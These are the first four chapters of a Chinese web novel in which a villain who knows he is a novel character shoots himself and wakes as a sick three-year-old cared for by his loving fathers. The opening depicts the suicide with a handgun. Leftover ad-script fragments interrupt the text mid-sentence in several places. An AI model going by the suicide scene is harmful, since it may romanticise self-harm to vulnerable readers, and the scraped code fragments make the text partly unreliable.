《大反派穿回三岁半》 1. 重生 1 狂风暴雨,电闪雷鸣。 飓风卷起巨浪,重重地砸在临海别墅的落地窗上,“轰隆”一声巨响,整个世界都在摇晃。 昏暗豪华的房间里,礼盒杂物散落一地,年轻的男人坐在废墟之中,双手捧着一条全新未拆封的蓝色暗纹领带,低着头,肩膀微微颤抖。 领带上,还附有一张贺卡—— 【亲爱的二十八岁陆傲: 二十八岁生日快乐! 二十八岁的你,应该已经继承爸爸和大爸爸的集团,成为一名光荣且霸道的总裁了吧? 祝你生活美满,事业顺利,最重要的,天天开心! ——爱你的爸爸和大爸爸】 接连不断的眼泪砸在贺卡上,晕开褪色的字迹。 陆傲咬着牙,用手背狠狠地抹了把眼睛。 他随手抓起另一个礼物盒,拆开包装。 盒子里是两颗华贵的黑曜石袖扣,也有一张贺卡。 【亲爱的三十岁陆傲: 三十岁生日快乐!步入三十岁的成熟男人,应该拥有两颗宝石袖扣……】 再拆开一个盒子。 两个文玩核桃,一条菩提手串,还有一张贺卡。 【亲爱的四十五岁陆傲: 你应该也到了爱盘核桃和手串的年纪了吧?爸爸和大爸爸特意为你准备了……】 再一个。 一根拐杖,一张贺卡。 【亲爱的八十八岁陆傲: 八十八岁大寿快乐!这是爸爸和大爸爸特意为你打造的拐杖,拐杖头可以打开,变成水枪,谁敢惹你,你就滋他,到时候你就是广场上最酷的老头……】 “哗啦”一声! 陆傲一扬手,将领带、袖扣、文玩和拐杖,全部掀翻! 骗子! 大骗子! 两个人都是大骗子! 什么爱我?什么给我庆祝生日?什么给我准备一辈子的生日礼物? 全都是骗人的! 他全都知道了!他全都梦见了! 他陆傲,二十八岁掌舵陆氏集团的年轻总裁,不过是一篇崽崽文里的反派! 从出生到现在,他都生活在一篇名为《团宠崽崽三岁半》的文里。 尽管他的名字非常“龙傲天”,但他却不是书里的主角。 主角是他从小到大的死对头,顾白! 因为顾白是主角,所以他活泼开朗,多才多艺,讨人喜欢。 因为他陆傲是反派,所以他阴郁内向,霸道无礼,人人惧怕。 又因为顾白是主角,所以他的爸爸温柔,大爸爸严肃,一柔一刚,家庭幸福和谐。 而他陆傲的爸爸虚荣做作,大爸爸冷漠无情,两个人为了钱家族联姻,一个花天酒地,一个拼搏事业,家庭阴云笼罩。 陆傲六岁那年,他的爸爸和大爸爸死在一场惨烈的飞机失事里。 ——据说当时,他们正准备坐飞机去陷害主角一家。 就这样,陆傲成了孤儿。 从此,他将主角崽崽视为劲敌,和主角作对,一次次作妖,一次次失败。 他注定是主角的陪衬,在大结局被主角打败,成为主角通往幸福生活的垫脚石。 正巧这时,一张贺卡落在陆傲面前。 陆傲捡起贺卡,一把撕碎。 假的!都是假的! 爸爸和大爸爸都不爱对方,也不爱他,他们谁都不爱! 明明不爱对方,还要和对方结婚。 明明不爱他,却还要把他生下来。 把他带到这个虚假的世界上,又无情地将他抛弃,只留下一堆没用的生日礼物,吊着他的命,让他走剧情。 他就像是一条狗。 被遗弃之前,主人往他脖子上挂几块肉骨头,就把他耍得团团转! 一道闪电划过天边,雷声大作。 陆傲抬手一扬,贺卡碎片纷纷扬扬洒落。 现在,他和主角都二十八岁了。 这篇无脑弱智的崽崽文,是时候结束了! 陆傲咬着牙,扶着墙,颤抖着,踉跄地站起身来。 他走到床边,从天鹅绒的枕头底下,拿出一把漆黑的手枪。 他跪倒在床前,熟练地把子弹装进弹匣,像自己之前无数次做的那样。 忽然,他放在床头柜上的手机,因为疯狂的震动,慢慢滑到桌子边缘,掉在他的面前。 陆傲原本失焦的眼睛重新聚焦,目光落在手机屏幕上。 四十八个未接来电,一百二十三条未读消息。 现在给他打电话的这个人,备注是“老张管家”。 陆傲伸出手,慢吞吞地拿起手机。 电话接通的瞬间,手机那边同时传来呼啸的风声、噼啪的雨声、轰隆的雷声。 还有老张管家焦急的喊声:“小陆总?小陆总!你在哪里?你别想不开,有什么事情跟管家爷爷说!管家爷爷马上就到了!” 陆傲张了张口,想要说话,却发现自己的喉咙肿胀得厉害,一个音节都发不出来。 听不到他的回答,手机那边的人更着急了。 下一秒,另一个他无比熟悉的声音从里面传出来—— “陆傲?是我!我和管家爷爷马上过去找你,不管发生了什么,你别难过,我会陪你……” “我陪你打一场,我们戴上拳击手套,去擂台上堂堂正正地打一场,你不是最喜欢拳击了吗?” “我从来没有想过要与你为敌,我们是一样的!我和你是同类!我会陪着你的……” 这位就是他的死对头、这篇文的主角,顾白。 陆傲听着他的话,没忍住扯了一下嘴角。 对,顾白说的没错。 他从来都没有与他为敌,是他自己跟疯子一样,缠着顾白,小的时候抢他的小红花,长大了抢他的生意订单。 所以,他要自杀,顾白追过来做什么? 他是本书主角,是天命之子,是人生赢家。 他有两个父亲的教导,有实力雄厚的集团,有所有人的喜爱。 他什么都有了,什么都不缺,难道还想掌控他的生死吗? 电话那头,顾白还在喋喋不休地说着什么。 陆傲握着手机,走到落地窗边。 只见海上狂风汹涌,巨浪翻滚,一架直升飞机行驶在低压阴霾的云层里,被风吹得摇摇晃晃,东倒西歪。 直升飞机上,一个穿着救生衣的橘黄色身影,尤为刺眼。 一转头,顾白也看见他了,用力地朝他挥手,大声朝他喊着什么。 终于,陆傲开了口。 他举起手机,冷笑一声,语气嘲讽—— “大、煞、笔。” 说完这三个字,他再不管顾白是什么反应,直接挂断电话,果断拉上窗帘。 “唰”的一声,海上岸上,天上地上,被窗帘分割成两个世界。 陆傲回到床边,狠狠砸碎床头柜上的全家福相框,把里面的照片撕得粉碎。 弱智剧情、弱智人物、弱智崽崽文,全都是弱智! 他绝不再受人摆布! 绝不! “砰”的一声巨响—— 顾白从直升飞机上跳下来,整个人直直地摔进海里。 陆傲倒在洁白柔软的床单上,猩红粘稠的鲜血,从他太阳穴上那个漆黑的洞口里,流淌出来。 海浪击碎防爆玻璃,海水将撕 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 碎的全家福重新拼凑,送到陆傲面前。 照片背面,是熟悉的字迹—— 【不知道多少岁的陆傲: 这一次,爸爸和大爸爸为你准备好了长大生活需要的所有金钱、房产和人脉,希望你能平安快乐地度过一生。 如果还有下一次,爸爸和大爸爸会更早开始准备、更努力摆脱剧情控制,在全新的世界,以最原本、最真实的模样,与你相遇。 到那时,我们会是最幸福的一家三口。 请你一定要平安快乐地过完这一生,再来找我们。 ——永不停止爱你的爸爸和大爸爸】 海潮浪涌之间,命运的齿轮,被拨回原点,重新轮转。 * 腥臭的鲜血、剧烈的疼痛,还有无边的黑暗。 陆傲挣扎着,挥舞着无力的双手,从黑暗中醒来。 他睁开眼睛,猛地从床上坐起来。 好痛…… 好像有人拿着锤子钉子猛砸他的太阳穴,要把他的脑袋凿开。 陆傲捂着脑袋,眼前一片漆黑,什么也看不清。 求生的本能让他从床上爬下来,往外走。 可能是太痛了,他觉得自己身上软得很,手脚不仅使不上劲,好像还变短了。 他的脑袋变得好重,随便晃一晃,整个人就跟大头娃娃似的,不由自主往前倒去。 他扶着墙,一步一步往外走,恍惚之间,看见一些奇怪的黑影—— 一只玩偶小熊、一架遥控直升飞机、一辆玩具小火车,还铺设了小型轨道。 他这是到了儿童玩具城? 幼稚。 陆傲冷哼一声,强撑着,继续往外走。 他走出房门,穿过走廊,来到楼梯口。 一个清澈爽朗的青年声音,猝不及防,闯进他的耳朵里—— “我已经起来啦,张大爷给我们煮了虾仁小馄饨,我还去早餐店买了甜甜的奶黄包和咸咸的烧麦。当然没有偷吃辣条!辣条能当早饭吃吗?我是这种没谱的人吗?” “你吃早餐了吗?噢,我忘了,有时差,你那边现在是下午。那你吃午餐、晚餐和下午茶了吗?” “嗷嗷还没起来,让他多睡一会儿吧,昨晚玩玩具玩得太晚了,等一下我来给他热早餐,不用喊张大爷。放心吧,不会把厨房炸了的……” 陆傲紧紧抓着楼梯扶手,皱起眉头。 他看不清,也听不清。 这是谁的声音? 声音是从哪里传来的? 他只是觉得……这个声音…… 像是从他的记忆深处传来,好熟悉,好熟悉。 他绞尽脑汁,努力回想,却始终想不起来。 下一秒,他脑袋一沉,整个人不受控制地往前倒去。 他没有力气稳住身形,只能闭上眼睛,放任自己滚下去。 “嗷嗷!” 预想中的疼痛感并没有传来。 刚才说话的那个青年大喊一声,飞扑上前,一把接住他,把他抱进怀里。 陆傲拽住对方的衣服,这才发现自己的手…… 变得好小好小,肉乎乎的一双小手,像小狗爪子一样。 他的腿也变得好短好短,他整个人都变得好矮好矮。 而现在,陆傲终于想起来了。 “爸爸……” “嗷嗷,你会说话了?不对,你身上怎么这么烫?嗷嗷?!” 陆傲并不回答,只是死死拽着青年的衣服,紧紧咬着自己没长齐的小乳牙,从牙缝里恨恨地挤出来三个字—— “江、知、鱼……” 没错,这个熟悉的声音,来自他生理学意义上的爸爸—— 江知鱼! 2. 打针 2 陆傲有两个爸爸。 一个贪慕虚荣,花天酒地。 另一个拼搏事业,冷漠无情。 两个人为了钱,家族联姻,逢场作戏,貌合神离,不爱对方……也不爱他。 现在抱着他的这个,就是爱慕虚荣的那个。 陆傲还记得他的名字—— 江知鱼。 请不要误会,他并没有刻意去记他们的名字。 他只是……太恨了而已。 恨到把他们的名字刻在心里。 可江知鱼不是已经死了吗? 这里是什么地方? 江知鱼为什么会在这里? 他又为什么会变成这个样子? 陆傲挣扎着,抬起头,看向江知鱼。 江知鱼仍旧是二十来岁的模样,年轻俊朗,和全家福照片上的一样。 他跪在楼梯前,把陆傲抱在怀里,神色焦急,嘴巴一张一合,听不清在说些什么。 电光火石之间,陆傲好像明白了什么—— 这里一定是地狱! 他开枪自杀,来到地狱,变成小时候的模样,见到了心心念念的仇人! 江知鱼,他的仇人! “唰”的一下,陆傲眼里燃起复仇的怒火! 他咬着牙,用尽全身力气,从江知鱼怀里爬起来。 江知鱼疑惑不解:“怎么了?” 陆傲摇摇晃晃地站起身,低下头,握紧双拳,摩擦脚掌。 猛冲上前! “嗷嗷……嗷!” 陆傲像一头小牛犊,在江知鱼还没反应过来的时候,一脑袋撞在他的心口上,把他整个人撞翻,然后朝外跑去。 虚荣的爸爸,K.O! 江知鱼倒在地上,捂着心口,一阵咳嗽:“陆嗷嗷,你想谋杀亲爸?你还敢跑?咳咳咳……你给我站住……我数到三!陆傲!” 陆傲脚步一顿,但很快就反应过来,继续朝外跑去。 被爸爸喊全名而已,别人害怕,他可不怕! 虚荣的爸爸已经被他撞翻了,还有一个! 还有一个,冷漠的大爸爸,在哪里? 他现在强得可怕,浑身上下都充满了力量! 陆傲一边往外跑,一边用目光搜寻,像一个浴火冲锋的小战士。 冷漠的大爸爸,出来! 你出来啊!我知道你也在这里! 我今天要剔骨还父,削肉还……也还父! 忽然,一阵剧烈的疼痛袭来。 陆傲捂着脑袋,整个人往前一扑,单膝跪在地上。 该死,头好痛。 早知道就不对着太阳穴开枪了。 他眼前一黑,身子一歪,再次倒了下去。 他再次听见那个熟悉的声音,再次摔进那个熟悉的怀抱,再次…… 再次被江知鱼抱起来。 “小坏蛋,撞了爸爸还想跑,我要狠狠打你的屁……不对,怎么屁股也这么烫?你真发烧了?!” 可恶,不许摸他的屁股! 江知鱼大惊失色,一把扛起陆傲,朝楼下冲去。 他一边跑,一边喊。 “张大爷、张大爷,嗷嗷发烧了!我带他去医院!快帮我搭把手!” 一个五十来岁的大爷,从楼下冲上来。 “怎么了?好好的怎么忽然发烧了?” “我也不知道,可能是昨晚睡太晚了。帮我把手机和车钥匙都拿过来,我先带他下去。对了,还有他的医保卡!” “行!” 地狱里也有医保卡吗? 陆傲费力睁开眼睛,看了一眼。 什么张大爷?这不是他的老张管家吗? 他六岁变成孤儿,失去父父,没有亲人,却坐拥整个陆氏集团。 只有老张管家一直陪在他身边,照顾他的饮食起居。 直到他自杀之前,老张管家还在到处找他,给他打电话。 为什么老张管家会在这里?难道他在找自己的路上,出了意外,也来了地狱? 对不起,他也不想自杀的。 可他实在是太累了,累到没有力气顾及旁人。 累到没有力气……活下去了。 陆傲正想着事情,江知鱼就抱着他到了楼下。 江知鱼一手抱着他,一手拉开车门,把他放在儿童安全座椅上,给他扣好安全带。 陆傲回过神,靠在椅背上,沉默地看着身边发生的一切。 江知鱼就这么迫不及待,要把他送走吗? 他连一刻都不想和自己待在一起吗? 也好,反正他也不是很想见到江知鱼。 不过…… 陆傲看着江知鱼的车子,陷入沉默。 看来江知鱼在地狱里过得并不好,都开上六菱绿光mini了。 粉色的“剁椒鱼头”,车子很短,座位很挤。 也是,陆傲想,他在上面都好久没给江知鱼烧纸了。 知道江知鱼过得不好,他就解气了。 江知鱼并不知道他脑子里那些大逆不道的想法,他手忙脚乱地把陆傲安顿好,然后坐到驾驶位上,系好安全带。 “嗷嗷,坚持住!爸爸马上带你去医院!张大爷,东西带齐了吗?你坐好了吗?” “带齐了,坐好了……” 话音未落,江知鱼一脚油门。 粉色小电车像一只粉色小耗子,“咻”的一下窜了出去。 * 一路风驰电掣。 十分钟后,小电车一个漂移,在距离最近的慈爱私立医院门前停下。 门口保安见状,连忙上前拦车。 车门打开,江知鱼从车上下来,把三张百元大钞和车钥匙一起交到他手里。 “麻烦您,帮我停一下车。” “啊……啊?” 江知鱼来不及多说,转过身,把烧到昏迷的陆傲从后座抱出来。 保安低下头,看着手里的史努比车钥匙挂坠,陷入沉默。 不是他吹牛,在私立医院工作,他停过奔驰,停过宝马,偶尔也停过保时捷。 停六菱绿光mini,这还是第一次。 另一边,江知鱼抱着陆傲,大步跨过几级台阶,冲向医院大堂。 “医生、护士,有人在吗?!” ——好吵,好颠。 本来已经昏迷的陆傲,被这样一摇晃,反倒挣扎着醒了过来。 他下意识扭过头,想把脸埋进对方怀里,找一个清净。 可是下一秒,他猛然想起,这人是江知鱼! 于是他马上朝反方向转头,不想看见他,更不想把脸埋进去。 又下一秒,一股又酸又涨的感觉,从胃里涌上来。 陆傲迅速转回头,把脸对准江知鱼。 江知鱼好像察觉到了他奇怪的动作,不由地停下脚步,低头看去。 只见陆傲身体绷直,十分僵硬,脑袋却像风车一样,呼啦呼啦,转来转去。 好像有两个小人,在他耳边吵架,疯狂拉扯他的脑袋。 ——头好痛,好难受…… ——这个人身上的气息好温暖、好熟悉,好想把脸埋进他的怀里…… ——不行!这个人是江知鱼!我与他有杀父之仇,不共戴天! ——他就是爸爸,他不能自己杀自己。 ——蠢货,这是比喻! ——忽然好想吐,那就吐在江知鱼身上好了! ——不可以,不能吐在爸爸……江知鱼身上…… ——他算个屁的爸爸! ——呕! 最终,陆傲扭过头,对着地面干呕一声,却什么都没吐出来。 江知鱼不知所措地看着他,又在下一刻反 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 应过来,抱着他继续往前冲。 “医生!医生!快来人呐!我的崽崽病得好严重……” 他在紧张,他在焦急,他在…… 哭。 陆傲听见他带着哭腔的声音,感觉到他温热的眼泪滴在自己的脸颊上。 他努力地抬起头,努力地睁开眼睛,努力地想看清楚。 可他的眼前漆黑一片,他什么都看不见。 他唯一能听见的江知鱼的声音,很快也被其他人的声音淹没了—— “怎么回事?” “家长先冷静一下,快进检查室!” “小朋友烧得有点厉害,需要马上吃……” 吃什么?他们要喂他吃什么? 陆傲没听清。 紧跟着,有人轻轻捏开他的嘴巴,把一小管液体倒进他嘴里。 液体散发着怪味,顺着他的喉咙,流进他的食管,几乎要烫伤他。 于是他重重地咳嗽一声,把液体全都吐了出来。 最后他听见一个为难的声音:“只能再喂一次了。实在不行,那就只能……” 那人话没说完,陆傲就晕了过去。 * 不知道过了多久,陆傲在一阵尖锐的疼痛中醒来。 他倏地睁开眼睛,最先对上的,是江知鱼微红的眼眶和担忧的目光。 江知鱼坐在椅子上,而他踩在江知鱼的腿上,站在他身上,被紧紧地抱着。 呵! 假惺惺! 陆傲冷笑一声,扭过头去,不想看他。 江知鱼察觉到他的动作,连忙伸出手,挡在他面前。 陆傲直觉不对,皱着眉头,又朝另一边扭头。 江知鱼的手跟着他移动,仍旧挡在他面前。 似乎是不想让他看见什么,江知鱼小声催促:“护士,能不能麻烦你快一点?他好像醒了……” 不对劲! 肯定有问题! 趁着江知鱼没反应过来,陆傲一个青龙探首,猛地回头! 只见一根银光锃亮的细小针头,正扎在他的屁股上,摇摇晃晃! 啊—— 陆傲不敢相信地瞪大眼睛。 打针! 江知鱼竟然让人给他打针,还是屁股针! 直到这时,陆傲才看见,墙上挂着的是大大的红十字,围在他身边的,是穿着白大褂的医生和护士。 这里不是地狱。 这里是医院,会给人打屁股针的医院! 不是地狱,却胜似地狱! 难怪他听见一堆乱糟糟的声音,难怪他晕过去之前,最后说话的那个人欲言又止。 难怪,难怪! 陆傲张大嘴巴,一边无声尖叫,一边死死拽住江知鱼的衣服,蹬着一双小短腿,试图逃跑。 死腿,快跑啊! 可他又能跑到哪里去呢? “啪”的一声脆响,江知鱼一巴掌拍在他的屁股上,把他牢牢按住。 江知鱼动作很迅速,声音却很温柔:“嗷嗷别害怕,护士姐姐是在帮你治病,治好了就不会发烧头晕了,不痛的,就像蚊子叮了一口一样,很快的。” 护士也耐下性子哄他:“对,小朋友别害怕,马上就好了噢,马上就好——马上——” 护士嘴里的“马上”,根本不是真正的“马上”! 陆傲咬着牙,眼泪在眼眶里打转,稚嫩的脸上浮现出无比悲愤的表情。 果然,江知鱼是虐待儿子的坏爸爸! 此等奇耻大辱,他必定永生永世、铭记于心! 他陆傲在此立誓,他永远永远、都不会再认江知鱼是自己的爸爸! 永远(中文)! Forever(英文)! Pour toujours(法文)! ……*&¥@%*¥#&*(火星文)! 3. 大爸爸 3 ——好痛!怎么会这么痛? ——把眼泪憋回去,我都十几年没哭过了! ——那我也十几年没打过屁股针了啊! ——该死,打屁股针怎么会这么痛? ——为什么在江知鱼怀里打针,就这么想哭? ——霸总有泪不轻弹,别毁了我的一世英名! ——那也是我的一世英名啊! 那两个小人,又在陆傲耳边吵了起来。 陆傲用力甩了一下脑袋,把它们全部甩飞。 他咬着牙,没哭也没叫,只是没忍住闷哼了一声。 千言万语,汇成一句话—— 江知鱼,我、恨、你! 护士推完药水、拔出针头的瞬间,疼痛的感觉直线飙升。 陆傲死死地拽着江知鱼的衣领,脑袋瞄准他的心口,用尽全身力气,狠狠往前一撞! 但是这回,江知鱼早有防备。 他直接伸出手,接住陆傲的脑袋,挡住他的“铁头攻击”。 这次复仇没能成功,陆傲倏地闭上眼睛,转过头去,两行热泪,滚滚淌下。 我计不成,乃天命也。 非人力所能更改。 他……认命了。 江知鱼一脸疑惑,一只手抱着他,另一只手抽了两张纸巾,给他擦擦脸。 “别哭了。都病成这样了,还要撞爸爸,撞不到就哭,你也太霸道了吧?你爸爸我是人,不是铁做的机器人,不可以随便撞。” 江知鱼懂什么?他算什么爸爸? 没有心的人,当然是机器人。 陆傲含着两泡眼泪,转过头去,不想理他。 江知鱼拿着纸巾,追了上去:“怎么了?还是很难受吗?是发烧头晕,还是打针很痛?” “爸爸已经问过医生了,打完针,再等十几分钟,就会退烧。再坚持一下,马上就不会那么难受了。” “如果是打针很痛,护士姐姐正帮你按着针孔,爸爸也帮你看着呢,没有流血。爸爸给你喂了两次退烧药水,可是你都吐出来了,最后是没办法,才给你安排了打针。” 真的吗? 陆傲抬起头,用质问的目光看着江知鱼。 但很快的,他就反应过来,恢复严肃冷漠的表情,低下头去。 他才不信。 江知鱼最擅长花言巧语,蛊惑人心。 生日贺卡上的那些话,一多半都是他写的。 从江知鱼嘴里说出来的每句话、每个字、每个标点符号,他都不信! 江知鱼只当他是太难受了,摸摸他的小脑袋,让他靠在自己怀里休息一会儿。 他把纸巾丢掉,对护士说了一声“我来吧”,就接过止血的棉签,继续按在针孔上。 陆傲垂在身侧的手,紧握成拳。 好痛!还是好痛!余痛未消! 江知鱼肯定偷偷用力了! 他咬着牙,额头抵在江知鱼的心口上,又开始用脑袋撞他。 只是这回没用力,这回是轻轻地撞。 一下一下,哒哒哒哒,像一只啄木鸟。 江知鱼伸出手,按住小啄木鸟的后脑勺,询问医生:“大概十五分钟到半个小时,他就会退烧的,对吧?” 医生应道:“对,一般情况来说是这样的,您不用担心。” “那如果……不一般的情况……他一直不退烧,该怎么办?” “您放心,我们会持续观察小朋友的情况,如果一直不退烧,我们也会继续采取措施。刚打了针,现在先观察一下,不用着急。” “嗯……” “小朋友好像又睡着了,还是把他送到病房里,让他平躺在床上,会舒服一些。” “好。”江知鱼应了一声,低头看去。 陆傲还是一下一下撞着他的心口,只是动作幅度越来越小、撞击频率越来越低、用的力气越来越轻。 不知不觉间,连眼睛也闭上了。 他没能把江知鱼撞翻,反倒把自己给撞晕了。 江知鱼按住他的脑袋,让他停下动作,然后小心挪开棉签,见陆傲屁股上的针孔已经不流血了,才丢掉棉签,把陆傲的裤子提起来。 陆傲是早上起床被发现生病的,江知鱼匆匆忙忙带他来医院,也没给他换衣服。 所以他现在还穿着奶牛花纹的小睡衣。 护士推来儿童专用的移动担架床,江知鱼小心翼翼地把陆傲放上去,注意不让他压到刚打过针的半边屁屁。 一行人推着担架床,来到儿童住院部,坐电梯上三楼。 私立医院的服务很周到,住院环境也很不错。 像酒店套房一样的套间病房,整层楼就只有他们一个住户。 江知鱼在护士的协助下,把陆傲挪到病床上,帮他调整好枕头,盖上轻薄的夏凉被。 陆傲的体温降了一些,看来是药物起效了,但还要继续观察,看体温会不会回到正常线上。 几个医生去本层楼的办公室讨论病情,顺便开药,张大爷则跟着护士去缴费。 只留下一个护士,和江知鱼一起,在病房里陪着陆 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 傲。 护士按照医嘱,端来一盆温水,又找来一块毛巾,浸在水里。 江知鱼拧干毛巾,轻轻擦拭陆傲的脸庞、脖子和手心。 陆傲睡得并不安稳。 说是睡着,不如说是因为难受而晕过去了。 他平躺在床上,纯白的被单更衬得他小脸通红。 他紧紧皱着眉头,死死咬着后槽牙,盖在被子里的双手也牢牢攥着。 像一头小狼,在睡梦里也不曾放松警惕。 他时刻警戒,随时准备扑上前去,狠狠地咬敌人一口,从他身上撕下一块肉。 江知鱼伸出手,拨开散落在他额前的碎发,摸摸他的额头,又揉揉他的脸蛋。 总是这样绷着,会抽筋的。 陪护的护士轻声说:“江先生,真是奇怪。” “嗯?” “您给小朋友擦脸擦手的时候,小朋友好像很怕您的样子,总是往后躲。您直接伸手摸他的脸,他反倒安静下来,躺在床上睡着,表情也变柔和了。” “可能……他不喜欢我隔着毛巾碰他吧。” “也是。小朋友都这样,觉得毛巾粗糙,爸爸的手舒服。” 护士把凉了的温水端下去,换一盆新的。 江知鱼坐在床边,看着陆傲,不由地叹了口气。 怎么会这样? 他怎么会忽然病成这样? 难不成…… 这时,病房外有人敲门。 缴费回来的张大爷站在门外,朝他举起手里的手机,示意他有电话。 江知鱼最后给陆傲掖了一下被子,站起身来,朝外走去。 等他到了眼前,张大爷才低声道:“先生,是陆总的电话。” “好。”江知鱼接过手机,低头看了一眼。 江知鱼又对他说:“等会儿要麻烦你帮我看着嗷嗷。我开车回去,收拾点嗷嗷的衣服和玩具,这几天可能要在医院里住。嗷嗷现在这样,也不能吃什么东西,我去饭店打包一点稀饭回来,你想吃什么?也给你带点。” “先生,我看这个医院病房有配套的厨房,还是我回去收拾东西,顺便买菜,买了回来自己做,也更放心些。” “也好。”江知鱼点点头,“那就麻烦你了。” “不麻烦的。” 张大爷走进房间,江知鱼举起手机,沿着走廊往外走。 “喂,陆行渊……” 他刚喊了一声,男人焦急又担心的声音,就被手机那边呼啸而过的风,刮了过来。 “老婆!儿子!” 4. 装睡 4 医院走廊上。 江知鱼正跟他的爱人打电话。 他的爱人名叫陆行渊,是陆氏集团年轻的掌权人,也是陆傲的另一个父亲。 而此时,他正在世界的另一边出差。 昨天出发,临分别前,江知鱼牵着陆傲,去机场送他。 陆行渊在陆傲面前蹲下,摸摸他的小脑袋,叮嘱他,在家里要乖乖听爸爸的话。 尽管那时候的陆傲,只顾着摆弄手里的小马玩偶,根本没在听,也根本听不懂他的话,但他还是说了好几遍。 最后,陆行渊站起身来,捧着江知鱼的脸,在他的额头上印下一个温柔珍重的道别吻。 每次分别,都像是最后一次见面。 江知鱼抱着陆傲,握着他的小手,教他向大爸爸挥手道别。 陆行渊则一步三回头地走进机场,直到转过拐角,再也看不见他们的身影。 一下飞机,陆行渊就拿出手机,给江知鱼打电话、报平安。 抵达下榻的酒店,拿出手机,展示周边环境。 江知鱼和陆傲玩玩具,开着视频陪他们玩。 就算他们睡着了,他也舍不得挂断电话。 直到今天早上,他还在跟江知鱼打视频。 隔着屏幕,两个人面对着面。 江知鱼一边吃早餐,一边叽叽喳喳地说话。 陆行渊一边批复文件,一边含笑倾听。 气氛温馨,岁月静好。 可就在这个时候,变故突生! 江知鱼抬起头,好像看见什么不得了的东西。 他什么都来不及说,只来得及大喊一声“嗷嗷”,然后扑上前去。 茶几上的手机被江知鱼掀翻,屏幕朝下,砸在地上。 摄像头一片漆黑,陆行渊什么也看不见。 他只能听见一片混乱的声音—— 先是“砰”的一声,好像有什么东西摔了。 然后是江知鱼焦急的声音,问陆傲怎么了。 再然后就是江知鱼着急忙慌喊人的声音。 最后是他匆匆离开的脚步声。 陆行渊在世界的另一边,心急如焚。 他想喊住江知鱼,问问到底发生了什么,又害怕自己帮不上忙,反倒添乱。 最后还是张大爷捡起地上的手机,陆行渊才知道家里发生的事情。 等陆傲被送进病房,情况稳定些,他才让张大爷把手机给江知鱼。 此时此刻,异国他乡。 三辆黑色轿车前后开路,中间那辆飞速行驶在公路上,第八次超车。 穿着黑色西装的男人,坐在后座,握着手机,分明焦急万分,却仍旧维持着冷静的语气。 “小鱼,事情我都知道了,你和陆傲就待在医院里。别担心,我马上回去。” 话音未落,江知鱼却像是有预知功能一般,道:“把车速降下来。” 陆行渊沉默片刻,疑惑地唤了一声:“小鱼?” 江知鱼语气认真,一字一顿:“我说,让你的司机把车速降下来,不许超速。” “好。” 陆行渊放下手机,对司机道:“慢点。” 只有“慢点”,没有其他。 江知鱼补充说明:“不许违反交通法规。” 陆行渊无奈道:“小鱼,我在国外。” “国外也不行。”江知鱼坚持,“你先把我的话告诉司机,然后我们再说话。” 最后还是陆行渊妥协了。 他把江知鱼的话完完整整复述给司机听。 车速减缓,风声减弱,陆行渊原本杂乱无章的心跳,也慢慢安定下来。 他升起车窗玻璃,重新举起手机:“小鱼。” 江知鱼这才应了一声:“我在。” 陆行渊朝车窗外望了一眼:“我在去机场的路上,大概再过二十分钟就能到,飞机也已经在机场等了。” 是他们家的私人飞机,提前申请了私人航线,陆行渊自己也有飞行驾驶证,随时可以起飞。 江知鱼道:“嗷嗷也没事。他忽然发烧,我带他来医院,护士给他打了针,应该很快就能退烧。” 陆行渊却问:“那你呢?小鱼,你还好吗?” “我……我没事,没发烧,也没生病。” “嗯。” 两个人简单交换了一下两边的状况,忽然陷入沉默。 只一秒,他们就同时开了口—— “陆行渊,让飞行员开飞机,你自己不许开。” “小鱼,你和陆傲在医院等我,不要乱跑,有事让暗处的保镖去办。” 两个人的声音融在一起,却依旧听得很清楚。 下一秒,他们又同时应了一声—— “我知道。” “你放心。” 不用说什么一路顺风、注意安全的套话,他们都知道对方的意思。 最后,江知鱼道:“嗷嗷会说话了。” 陆行渊应了一声:“我知道了。” 除此之外,再无他话。 隔着手机,他们静静听着对方的呼吸声。 一声、两声、三声…… 就这样过了十声。 两个人同时挂断电话。 江知鱼把手机放进口袋,两只手搭在医院走廊的栏杆上,抬起头,放眼望向远处。 儿童住院部的环境很不错,病房外面就是一个小花园,绿草如茵,树木葱郁。 眼前风景如画,江知鱼却低下头,双手捧着脸,重重地叹了口气。 其实刚刚,他撒谎了。 他对陆行渊说,他没事。 其实不是的。 陆傲忽然从楼梯上摔下来,浑身滚烫,意识不清,吓死他了。 陆傲烧成那样,还有力气把他撞翻,撞得他的心口现在还隐隐作痛,吓死他了。 他还以为,他们一家三口,又要分开了,吓死他了。 江知鱼把脸埋在手心里,一连说了几遍“吓死我了”。 说到第十遍的时候,江知鱼抬起头,用手背捂了捂脸颊,准备回病房去看看陆傲。 陆行渊还没回来,他得振作起来。 他刚走回去,张大爷就推开门,从病房里走了出来。 “先生,好消息,小少爷已经退烧了。” “那就好。”江知鱼松了口气,“我进去看看。” 见张大爷仍旧站在门前,不肯离开,江知鱼有些疑惑:“还有什么事吗?” 张大爷正色道:“陆总刚才提醒我,要我留意先生身上的伤。” “我身上的伤?”江知鱼更疑惑了,“我哪有受伤?嗷嗷撞的?可我没告诉他啊。” 话音一转,江知鱼坐在病房外的椅子上,撩起裤脚,露出膝盖上青紫的淤伤。 应该是他扑上去接住陆傲的时候摔的。 陆行渊分明不在现场,却跟开了天眼似的,连这一点都算到了。 护士送来药膏,江知鱼用棉签蘸了一点,轻轻涂抹在伤口上。 * 上午十点。 江知鱼把车钥匙给了张大爷,让他回去收拾东西,顺便买点菜。 他自己则搬了把椅子过来,坐在病床边,守着陆傲,给他擦擦小脸和小手。 高烧退去,陆傲的脸色好看很多,睡得也更熟了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 江知鱼把毛巾放回盆里,不小心牵动心口,又是一阵闷疼。 刚才给膝盖上药的时候,他特意支开护士,掀开衣服看了一眼。 好家伙,他的心口上这——么——大——一块淤青,和陆傲的脑袋形状一模一样! 江知鱼捂着心口,实在咽不下这口气,伸手去捏陆傲的脸。 肉肉的小脸蛋,“duangduang”地弹了两下。 小铁头、小疯牛、小炮.弹,我可是你的亲生爸爸! 你还有一点当儿子的样子吗?啊? 捏死你! 